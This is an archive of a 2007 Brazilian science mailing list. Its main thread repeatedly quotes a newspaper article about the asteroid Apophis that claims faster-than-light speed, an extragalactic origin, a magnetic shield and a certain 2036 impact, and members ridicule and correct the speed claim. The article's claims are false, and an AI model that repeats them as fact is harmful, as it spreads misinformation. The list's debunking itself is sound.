">Bra�o rob� com movimentos fluidos pede ajuda Clique na imagem para
assistir ao v�deo de...
Esteira gigante para carros da NASCAR <http://100nexos.com/arquivo/217> Essa
� especial ao pessoal da Ciencialist:...
Ser religioso � muito mais dif�cil que ser
ateu?<http://100nexos.com/arquivo/103>Pedro
Sette C�mara comenta em seu blog como ...
Transformer real <http://100nexos.com/arquivo/214> De onde mais? Sem
computa��o gr&aac...


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SUBJECT: Re: [ciencialist] Rota de colisão
FROM: Erich Weick <erich_weick@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/09/2007 14:54

"...o Apophis viaja a uma velocidade surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros por segundo, quase quatro vezes a velocidade da luz..."

Hã ham...



SILVIO CORDEIRO <scordeiroes@superig.com.br> escreveu:
Ciência e Tecnologia

Rota de colisão

MARCELLO MIRANDA/ São Bento do Sul

Um asteróide está em rota de colisão com a Terra. Impacto previsto para 2036. Há um concurso, promovido pela Agência Espacial Norte-Americana, oferecendo US$ 50 mil para quem encontrar um meio de evitar o choque. Mais do que a questão financeira, é uma oportunidade para testar seus conhecimentos. É assim que o espanhol César Bentancurt encara o desafio. Há três anos morando em São Bento do Sul, agora está em busca de parceiros brasileiros para auxiliar suas pesquisas.

Formado em Medicina, especializou-se em Engenharia Genética. Mas sua paixão são os números e as fórmulas. Estudou, na França, matemática e física quântica e, mais tarde, se aperfeiçoou em matemática aeroespacial. É com base nesses estudos que elabora sua tese para concorrer ao prêmio e, de alguma forma, colaborar para evitar o choque do asteróide Apophis 2004. O nome dado ao astro é nada sugestivo, refere-se ao deus egípcio da destruição.

Com aproximadamente 400 metros de diâmetro, composto basicamente por ferro e pedras estelares, o Apophis viaja a uma velocidade surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros por segundo, quase quatro vezes a velocidade da luz. Como foi descoberto somente em 2004, acredita-se que tenha vindo de outra galáxia.

- O que mais impressiona é a velocidade, e, por causa disso, não há arma no mundo capaz de atingi-lo - afirma.

De acordo com o matemático, devido à grande velocidade, um míssil lançado da Terra, por exemplo, explodiria antes de chegar ao corpo do asteróide. Devido ao magnetismo da rocha, poeira cósmica e luz formam uma barreira protetora. Em caso de colisão com o planeta, explica César, a vida seria extinta.

- O impacto seria tão forte que elevaria a temperatura até 700ºC, causando erupções vulcânicas e ondas gigantes - prevê.

Parte do trabalho que desenvolve em torno de seus cálculos matemáticos é compartilhado com a Nasa, onde uma irmã e amigos trabalham. O concurso, explica, é destinado a universidades e institutos de pesquisa, mas ele resolveu participar de forma individual. Agora, César está em busca de parceiros, cientistas ou instituições, para compartilhar informações.

Sua tese para evitar a colisão do asteróide com a Terra é a de alinhar quatro grandes satélites artificiais, equipados com painéis solares, emitindo luz e energia do sol contra a rocha. Ele sugere utilizar satélites já existentes para isso. Os equipamentos estão no espaço, alguns armados.

- Energia do sol seria direcionada ao asteróide fazendo com que ele se desintegrasse - argumenta.

Esse alinhamento, explica, deveria acontecer daqui a 13 anos, quando também ocorre alinhamento total dos planetas do sistema solar. A partir daí, raios luminosos transmitidos pelos satélites seguiriam o meteoro. Antes do choque previsto com a Terra, o Apophis passará próximo ao planeta em 2029. O prazo para envio de teses à Nasa sobre como evitar a colisão se encerra em 10 anos.

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SUBJECT: RE: [ciencialist] Rota de colisão
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/09/2007 16:10

Estou quase desmaiando de tanto rir huahuahahuahuahuah


Ivan "Doomer" Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666




-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Erich Weick
Sent: Friday, September 14, 2007 2:55 PM
To: ciencialist@yahoogrupos.com.br
Subject: Re: [ciencialist] Rota de colisão

"...o Apophis viaja a uma velocidade surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros por segundo, quase quatro vezes a velocidade da luz..."

Hã ham...



SILVIO CORDEIRO <scordeiroes@superig.com.br> escreveu:
Ciência e Tecnologia

Rota de colisão

MARCELLO MIRANDA/ São Bento do Sul

Um asteróide está em rota de colisão com a Terra. Impacto previsto para 2036. Há um concurso, promovido pela Agência Espacial Norte-Americana, oferecendo US$ 50 mil para quem encontrar um meio de evitar o choque. Mais do que a questão financeira, é uma oportunidade para testar seus conhecimentos. É assim que o espanhol César Bentancurt encara o desafio. Há três anos morando em São Bento do Sul, agora está em busca de parceiros brasileiros para auxiliar suas pesquisas.

Formado em Medicina, especializou-se em Engenharia Genética. Mas sua paixão são os números e as fórmulas. Estudou, na França, matemática e física quântica e, mais tarde, se aperfeiçoou em matemática aeroespacial. É com base nesses estudos que elabora sua tese para concorrer ao prêmio e, de alguma forma, colaborar para evitar o choque do asteróide Apophis 2004. O nome dado ao astro é nada sugestivo, refere-se ao deus egípcio da destruição.

Com aproximadamente 400 metros de diâmetro, composto basicamente por ferro e pedras estelares, o Apophis viaja a uma velocidade surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros por segundo, quase quatro vezes a velocidade da luz. Como foi descoberto somente em 2004, acredita-se que tenha vindo de outra galáxia.

- O que mais impressiona é a velocidade, e, por causa disso, não há arma no mundo capaz de atingi-lo - afirma.

De acordo com o matemático, devido à grande velocidade, um míssil lançado da Terra, por exemplo, explodiria antes de chegar ao corpo do asteróide. Devido ao magnetismo da rocha, poeira cósmica e luz formam uma barreira protetora. Em caso de colisão com o planeta, explica César, a vida seria extinta.

- O impacto seria tão forte que elevaria a temperatura até 700ºC, causando erupções vulcânicas e ondas gigantes - prevê.

Parte do trabalho que desenvolve em torno de seus cálculos matemáticos é compartilhado com a Nasa, onde uma irmã e amigos trabalham. O concurso, explica, é destinado a universidades e institutos de pesquisa, mas ele resolveu participar de forma individual. Agora, César está em busca de parceiros, cientistas ou instituições, para compartilhar informações.

Sua tese para evitar a colisão do asteróide com a Terra é a de alinhar quatro grandes satélites artificiais, equipados com painéis solares, emitindo luz e energia do sol contra a rocha. Ele sugere utilizar satélites já existentes para isso. Os equipamentos estão no espaço, alguns armados.

- Energia do sol seria direcionada ao asteróide fazendo com que ele se desintegrasse - argumenta.

Esse alinhamento, explica, deveria acontecer daqui a 13 anos, quando também ocorre alinhamento total dos planetas do sistema solar. A partir daí, raios luminosos transmitidos pelos satélites seguiriam o meteoro. Antes do choque previsto com a Terra, o Apophis passará próximo ao planeta em 2029. O prazo para envio de teses à Nasa sobre como evitar a colisão se encerra em 10 anos.

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SUBJECT: Re: [ciencialist] Re: Rota de colisão
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/09/2007 17:15

Deixe eu fazer uma proposta indecorosa:

Imagine uma via horizontal reta muito longa (tipo trilho de trem) e nela um grande carrinho dotado de foguetes aceleradores que garantam ao carrinho, após poucos nanosegundos, uma velocidade respeitável. Dentro desse longo carrinho há outro longo carrinho nas mesmas condições e dentro desse longo carrinho há outro longo carrinho nas mesmas condições .......
Vc pode imaginar que cada carrinho é um TRC lançando, no lugar do elétron, outro TRC, e assim sucessivamente. Será que a velocidade relativa do último não pode chegar além de c?
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 14 de setembro de 2007 11:51
Assunto: [ciencialist] Re: Rota de colisão


--- Em ciencialist@yahoogrupos.com.br, "SILVIO CORDEIRO"
> Ciência e Tecnologia
>
> Rota de colisão
>
> MARCELLO MIRANDA/ São Bento do Sul

Bobajada sem fim.

> Com aproximadamente 400 metros de diâmetro, composto basicamente por
> ferro e pedras estelares, o Apophis viaja a uma velocidade
> surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros
> por segundo, quase quatro vezes a velocidade da luz.

Claaaaaro, um objeto massivo se deslocando a velocidades maiores do q
a da luz - deve estar viajando no tempo a essa hora. E o autor desse
texto apócrifo sem pé nem cabeça deve estar viajando na maionese.

Mais uma da Peugeot-Citroen?

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Rota de colisão
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/09/2007 18:14

Ah, homens de pouca fé! Será que não percebeis que o asteróide viaja no
subespaço, livre das limitações das leis da física e da frágil mente
humana??!!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br


----- Original Message -----
From: "Erich Weick" <erich_weick@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, September 14, 2007 2:54 PM
Subject: Re: [ciencialist] Rota de colisão


"...o Apophis viaja a uma velocidade surpreendente, capaz de percorrer mais
de 1,1 milhão de quilômetros por segundo, quase quatro vezes a velocidade da
luz..."

Hã ham...



SILVIO CORDEIRO <scordeiroes@superig.com.br> escreveu:
Ciência e Tecnologia

Rota de colisão

MARCELLO MIRANDA/ São Bento do Sul

Um asteróide está em rota de colisão com a Terra. Impacto previsto para
2036. Há um concurso, promovido pela Agência Espacial Norte-Americana,
oferecendo US$ 50 mil para quem encontrar um meio de evitar o choque. Mais
do que a questão financeira, é uma oportunidade para testar seus
conhecimentos. É assim que o espanhol César Bentancurt encara o desafio. Há
três anos morando em São Bento do Sul, agora está em busca de parceiros
brasileiros para auxiliar suas pesquisas.

Formado em Medicina, especializou-se em Engenharia Genética. Mas sua paixão
são os números e as fórmulas. Estudou, na França, matemática e física
quântica e, mais tarde, se aperfeiçoou em matemática aeroespacial. É com
base nesses estudos que elabora sua tese para concorrer ao prêmio e, de
alguma forma, colaborar para evitar o choque do asteróide Apophis 2004. O
nome dado ao astro é nada sugestivo, refere-se ao deus egípcio da
destruição.

Com aproximadamente 400 metros de diâmetro, composto basicamente por ferro e
pedras estelares, o Apophis viaja a uma velocidade surpreendente, capaz de
percorrer mais de 1,1 milhão de quilômetros por segundo, quase quatro vezes
a velocidade da luz. Como foi descoberto somente em 2004, acredita-se que
tenha vindo de outra galáxia.

- O que mais impressiona é a velocidade, e, por causa disso, não há arma no
mundo capaz de atingi-lo - afirma.

De acordo com o matemático, devido à grande velocidade, um míssil lançado da
Terra, por exemplo, explodiria antes de chegar ao corpo do asteróide. Devido
ao magnetismo da rocha, poeira cósmica e luz formam uma barreira protetora.
Em caso de colisão com o planeta, explica César, a vida seria extinta.

- O impacto seria tão forte que elevaria a temperatura até 700ºC, causando
erupções vulcânicas e ondas gigantes - prevê.

Parte do trabalho que desenvolve em torno de seus cálculos matemáticos é
compartilhado com a Nasa, onde uma irmã e amigos trabalham. O concurso,
explica, é destinado a universidades e institutos de pesquisa, mas ele
resolveu participar de forma individual. Agora, César está em busca de
parceiros, cientistas ou instituições, para compartilhar informações.

Sua tese para evitar a colisão do asteróide com a Terra é a de alinhar
quatro grandes satélites artificiais, equipados com painéis solares,
emitindo luz e energia do sol contra a rocha. Ele sugere utilizar satélites
já existentes para isso. Os equipamentos estão no espaço, alguns armados.

- Energia do sol seria direcionada ao asteróide fazendo com que ele se
desintegrasse - argumenta.

Esse alinhamento, explica, deveria acontecer daqui a 13 anos, quando também
ocorre alinhamento total dos planetas do sistema solar. A partir daí, raios
luminosos transmitidos pelos satélites seguiriam o meteoro. Antes do choque
previsto com a Terra, o Apophis passará próximo ao planeta em 2029. O prazo
para envio de teses à Nasa sobre como evitar a colisão se encerra em 10
anos.

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SUBJECT: Re: Rota de colisão
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/09/2007 18:36

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Vc pode imaginar que cada carrinho é um TRC lançando, no lugar do
> elétron, outro TRC, e assim sucessivamente. Será que a velocidade
> relativa do último não pode chegar além de c?

Não, porq o intervalo de tempo medido no interior dos carrinhos serão
maiores (além da distância ficar menor).

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Re: Físicos e a Dell
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 02:05

É.

Parece que o caldo vai entornar prá o lado da DELL. Lí a matéria num jornal
que me deram numa vôo que arrisquei para S.Luis, hoje. A Dell do Brasil,
segundo o Jornal, parece que deu mancada mesmo.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: sexta-feira, 14 de setembro de 2007 11:46
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Físicos e a Dell



Segue a suíte:

Ministério pede explicações à Dell sobre exigências a físicos
http://www1.folha.uol.com.br/folha/ciencia/ult306u328417.shtml
------------------------

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: Rota de colisão
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 07:53

Não. Não chega sequer igual a c.

Mas a proposta não é indecorosa.

Apenas equivocada, como tantas outras.

Mas tenho a certeza de que só a faz para brincar e

espantar seus amigos.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: sexta-feira, 14 de setembro de 2007 17:16
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Rota de colisão



Deixe eu fazer uma proposta indecorosa:

Imagine uma via horizontal reta muito longa (tipo trilho de trem) e nela um
grande carrinho dotado de foguetes aceleradores que garantam ao carrinho,
após poucos nanosegundos, uma velocidade respeitável. Dentro desse longo
carrinho há outro longo carrinho nas mesmas condições e dentro desse longo
carrinho há outro longo carrinho nas mesmas condições .......
Vc pode imaginar que cada carrinho é um TRC lançando, no lugar do elétron,
outro TRC, e assim sucessivamente. Será que a velocidade relativa do último
não pode chegar além de c?
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br
<mailto:roberto.takata%40bol.com.br> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sexta-feira, 14 de setembro de 2007 11:51
Assunto: [ciencialist] Re: Rota de colisão

--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "SILVIO CORDEIRO"
> Ciência e Tecnologia
>
> Rota de colisão
>
> MARCELLO MIRANDA/ São Bento do Sul

Bobajada sem fim.

> Com aproximadamente 400 metros de diâmetro, composto basicamente por
> ferro e pedras estelares, o Apophis viaja a uma velocidade
> surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros
> por segundo, quase quatro vezes a velocidade da luz.

Claaaaaro, um objeto massivo se deslocando a velocidades maiores do q
a da luz - deve estar viajando no tempo a essa hora. E o autor desse
texto apócrifo sem pé nem cabeça deve estar viajando na maionese.

Mais uma da Peugeot-Citroen?

[]s,

Roberto Takata

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SUBJECT: Legado Lunar
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/09/2007 08:09

Envie suas fotos para a Lua.
http://www.gluon.com.br/blog/2007/09/15/fotos-lua-google/

Um arquivo digital serah enviado junto com a missao privada promovida
pelo Google Lunar XPrize.

Ateh
Luis Brudna


SUBJECT: Re: [ciencialist] Re: Rota de colisão
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 11:44

Então, vamos tentar ser indecoroso:

A velocidade de afastamento de uma galáxia é c/2. Desse galáxia se observa outra que também se afasta com c/2 e, por sua vez, alguém nessa segunda galáxia enxerga uma terceira que se afasta com c/2, tudo na mesma direção e sentido. Qual a velocidade da terceira em relação à primeira?

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De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 15 de setembro de 2007 07:53
Assunto: RES: [ciencialist] Re: Rota de colisão


Não. Não chega sequer igual a c.

Mas a proposta não é indecorosa.

Apenas equivocada, como tantas outras.

Mas tenho a certeza de que só a faz para brincar e

espantar seus amigos.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: sexta-feira, 14 de setembro de 2007 17:16
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Rota de colisão



Deixe eu fazer uma proposta indecorosa:

Imagine uma via horizontal reta muito longa (tipo trilho de trem) e nela um
grande carrinho dotado de foguetes aceleradores que garantam ao carrinho,
após poucos nanosegundos, uma velocidade respeitável. Dentro desse longo
carrinho há outro longo carrinho nas mesmas condições e dentro desse longo
carrinho há outro longo carrinho nas mesmas condições .......
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De: "rmtakata" <roberto.takata@bol.com.br
<mailto:roberto.takata%40bol.com.br> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sexta-feira, 14 de setembro de 2007 11:51
Assunto: [ciencialist] Re: Rota de colisão

--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "SILVIO CORDEIRO"
> Ciência e Tecnologia
>
> Rota de colisão
>
> MARCELLO MIRANDA/ São Bento do Sul

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> Com aproximadamente 400 metros de diâmetro, composto basicamente por
> ferro e pedras estelares, o Apophis viaja a uma velocidade
> surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros
> por segundo, quase quatro vezes a velocidade da luz.

Claaaaaro, um objeto massivo se deslocando a velocidades maiores do q
a da luz - deve estar viajando no tempo a essa hora. E o autor desse
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SUBJECT: En: PERGUNTA!! > ligação metálica no corpo humano
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 14:35

Alguém ajuda a consulente?

De: "MariMila Liston" <marimilagemeas@hotmail.com>
Para: chemelloe@yahoo.com.br
Assunto: PERGUNTA!!
Data: Sat, 15 Sep 2007 15:01:37 +0000

Bom dia Professor...
sou de Lages SC.. encontrei seu site e ali vi que poderia te fazer
pergunta...
gostaria de saber um exemplo de ligação metálica que ocorre no corpo humano
(qualquer elemento)

Fico grata se puder me responder!

Obrigada!

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SUBJECT: Re: [ciencialist] Probleminha
FROM: fmarkus@pop.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 15/09/2007 17:55



Caro Victor,
 
A coisa é bem simples.
 
Inicialmente você devia R$ 450,00.
No final você deve R$ 480,00.
 
Os R$ 30,00 que você tem contigo é a quantia que
aumentou na sua dívida.
 
INÍCIO (Dívida = R$ 450,00 e Dinheiro = R$ 0,00).
FIM (Dívida = R$ 480,00 e Dinheiro = R$ 30,00).
 
Entendeu?
 
Sds,
 
Fernando Markus
 
> Não sei
se já conhecem. É interessante. Quem dirá: é
simples, meu caro
> Watson!
>
>
>
> Sds,.
>
> Victor.
>
>
>
> AOS MATEMÁTICOS DE PLANTÃO.......ENVIEM A
SOLUÇÃO.....
>
>
> Teste de
matemática
>
> Para pensar um pouco
>

> IMAGINE QUE EU TENHA UMA DIVIDA DE R$ 450,00 NAS CASAS BAHIA,
PORÉM
> NÃOTENHO
> DINHEIRO PARA
QUITÁ-LA. O QUE EU FAÇO ENTÃO PROCURO DOIS AMIGOS E
PEÇO
> EMPRESTADOS R$ 250,00 A CADA UM E FICO COM
R$500,00.
>
> VOU ENTÃO AS CASAS BAHIA E QUITO A
MINHA DIVIDA DE R$450,00 E ME SOBRAM R$
> 50,00.
>
> VOU ATÉ A MINHA CASA E DEIXO LÁ R$ 30,00. E LEVO R$
20,00 COMIGO.
>
> DIRIJO-ME AOS DOIS AMIGOS E DEVOLVO R$
10,00 A CADA, E ASSIM FICO DEVENDO
> R$
> 240,00 A CADA
UM DELES. 240,00 + 240,00 É IGUAL A 480,00, MAS EM CASA
>
TENHO
> OS R$ 30,00, QUE SOMADOS PERFAZEM R$ 510,00!!!
>

> ENTÃO EU GANHEI R$ 10,00 NESSA BRINCADEIRA?
>

> ALGUÉM EXPLICA ??
>
>
>
>
>
> [As partes desta mensagem que não
continham texto foram removidas]
>
>



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: Rota de colisão
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 18:25

(4/5)c.



Sistema referência da galáxia= So, num estado de movimento inercial
qualquer.

Sistema de referência da segunda galáxia: S1

Velocidade de S1 segundo So= V10 = c/2

Sistema de referência da terceira galáxia = S2

Velocidade desta última segundo S2 = V21 = c/2



Velocidade de S2 segundo observado por So = V20= (V10+V21)/(1 + v10.V21/c.c)



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: sábado, 15 de setembro de 2007 11:45
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Rota de colisão



Então, vamos tentar ser indecoroso:

A velocidade de afastamento de uma galáxia é c/2. Desse galáxia se observa
outra que também se afasta com c/2 e, por sua vez, alguém nessa segunda
galáxia enxerga uma terceira que se afasta com c/2, tudo na mesma direção e
sentido. Qual a velocidade da terceira em relação à primeira?

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sábado, 15 de setembro de 2007 07:53
Assunto: RES: [ciencialist] Re: Rota de colisão

Não. Não chega sequer igual a c.

Mas a proposta não é indecorosa.

Apenas equivocada, como tantas outras.

Mas tenho a certeza de que só a faz para brincar e

espantar seus amigos.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de Luiz Ferraz Netto
Enviada em: sexta-feira, 14 de setembro de 2007 17:16
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: Re: [ciencialist] Re: Rota de colisão

Deixe eu fazer uma proposta indecorosa:

Imagine uma via horizontal reta muito longa (tipo trilho de trem) e nela um
grande carrinho dotado de foguetes aceleradores que garantam ao carrinho,
após poucos nanosegundos, uma velocidade respeitável. Dentro desse longo
carrinho há outro longo carrinho nas mesmas condições e dentro desse longo
carrinho há outro longo carrinho nas mesmas condições .......
Vc pode imaginar que cada carrinho é um TRC lançando, no lugar do elétron,
outro TRC, e assim sucessivamente. Será que a velocidade relativa do último
não pode chegar além de c?
[]'
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Luiz Ferraz Netto [Léo]
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De: "rmtakata" <roberto.takata@bol.com.br
<mailto:roberto.takata%40bol.com.br>
<mailto:roberto.takata%40bol.com.br> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sexta-feira, 14 de setembro de 2007 11:51
Assunto: [ciencialist] Re: Rota de colisão

--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br> , "SILVIO CORDEIRO"
> Ciência e Tecnologia
>
> Rota de colisão
>
> MARCELLO MIRANDA/ São Bento do Sul

Bobajada sem fim.

> Com aproximadamente 400 metros de diâmetro, composto basicamente por
> ferro e pedras estelares, o Apophis viaja a uma velocidade
> surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros
> por segundo, quase quatro vezes a velocidade da luz.

Claaaaaro, um objeto massivo se deslocando a velocidades maiores do q
a da luz - deve estar viajando no tempo a essa hora. E o autor desse
texto apócrifo sem pé nem cabeça deve estar viajando na maionese.

Mais uma da Peugeot-Citroen?

[]s,

Roberto Takata

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[As partes desta mensagem que não continham texto foram removidas]

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Probleminha
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 18:31

Não sei se já conhecem. É interessante. Quem dirá: é simples, meu caro
Watson!



Sds,.

Victor.



AOS MATEMÁTICOS DE PLANTÃO.......ENVIEM A SOLUÇÃO.....


Teste de matemática

Para pensar um pouco

IMAGINE QUE EU TENHA UMA DIVIDA DE R$ 450,00 NAS CASAS BAHIA, PORÉM NÃOTENHO
DINHEIRO PARA QUITÁ-LA. O QUE EU FAÇO ENTÃO PROCURO DOIS AMIGOS E PEÇO
EMPRESTADOS R$ 250,00 A CADA UM E FICO COM R$500,00.

VOU ENTÃO AS CASAS BAHIA E QUITO A MINHA DIVIDA DE R$450,00 E ME SOBRAM R$
50,00.

VOU ATÉ A MINHA CASA E DEIXO LÁ R$ 30,00. E LEVO R$ 20,00 COMIGO.

DIRIJO-ME AOS DOIS AMIGOS E DEVOLVO R$ 10,00 A CADA, E ASSIM FICO DEVENDO R$
240,00 A CADA UM DELES. 240,00 + 240,00 É IGUAL A 480,00, MAS EM CASA TENHO
OS R$ 30,00, QUE SOMADOS PERFAZEM R$ 510,00!!!

ENTÃO EU GANHEI R$ 10,00 NESSA BRINCADEIRA?

ALGUÉM EXPLICA ??





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ENC: [ciencialist] Re: Rota de colisão
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 18:34

Correção.



Onde tem “Velocidade desta última segundo S2 = V21 = c/2”,

Leia: Velocidade desta última segundo S1 = V21 = c/2



Victor.



De: J.Victor [mailto:j.victor.neto@uol.com.br]
Enviada em: sábado, 15 de setembro de 2007 18:25
Para: 'ciencialist@yahoogrupos.com.br'
Assunto: RES: [ciencialist] Re: Rota de colisão



(4/5)c.



Sistema referência da galáxia= So, num estado de movimento inercial
qualquer.

Sistema de referência da segunda galáxia: S1

Velocidade de S1 segundo So= V10 = c/2

Sistema de referência da terceira galáxia = S2

Velocidade desta última segundo S1 = V21 = c/2



Velocidade de S2 segundo observado por So = V20= (V10+V21)/(1 + v10.V21/c.c)



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: sábado, 15 de setembro de 2007 11:45
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Rota de colisão



Então, vamos tentar ser indecoroso:

A velocidade de afastamento de uma galáxia é c/2. Desse galáxia se observa
outra que também se afasta com c/2 e, por sua vez, alguém nessa segunda
galáxia enxerga uma terceira que se afasta com c/2, tudo na mesma direção e
sentido. Qual a velocidade da terceira em relação à primeira?

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Luiz Ferraz Netto [Léo]
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De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
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Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sábado, 15 de setembro de 2007 07:53
Assunto: RES: [ciencialist] Re: Rota de colisão

Não. Não chega sequer igual a c.

Mas a proposta não é indecorosa.

Apenas equivocada, como tantas outras.

Mas tenho a certeza de que só a faz para brincar e

espantar seus amigos.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
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Em nome de Luiz Ferraz Netto
Enviada em: sexta-feira, 14 de setembro de 2007 17:16
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: Re: [ciencialist] Re: Rota de colisão

Deixe eu fazer uma proposta indecorosa:

Imagine uma via horizontal reta muito longa (tipo trilho de trem) e nela um
grande carrinho dotado de foguetes aceleradores que garantam ao carrinho,
após poucos nanosegundos, uma velocidade respeitável. Dentro desse longo
carrinho há outro longo carrinho nas mesmas condições e dentro desse longo
carrinho há outro longo carrinho nas mesmas condições .......
Vc pode imaginar que cada carrinho é um TRC lançando, no lugar do elétron,
outro TRC, e assim sucessivamente. Será que a velocidade relativa do último
não pode chegar além de c?
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Luiz Ferraz Netto [Léo]
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Para: <ciencialist@yahoogrupos.com.br
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Enviada em: sexta-feira, 14 de setembro de 2007 11:51
Assunto: [ciencialist] Re: Rota de colisão

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> MARCELLO MIRANDA/ São Bento do Sul

Bobajada sem fim.

> Com aproximadamente 400 metros de diâmetro, composto basicamente por
> ferro e pedras estelares, o Apophis viaja a uma velocidade
> surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros
> por segundo, quase quatro vezes a velocidade da luz.

Claaaaaro, um objeto massivo se deslocando a velocidades maiores do q
a da luz - deve estar viajando no tempo a essa hora. E o autor desse
texto apócrifo sem pé nem cabeça deve estar viajando na maionese.

Mais uma da Peugeot-Citroen?

[]s,

Roberto Takata

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Legado Lunar
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 19:07


vamos lá, moçada!
vamos jogar lixo na lua, também!
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Músico Astrônomo
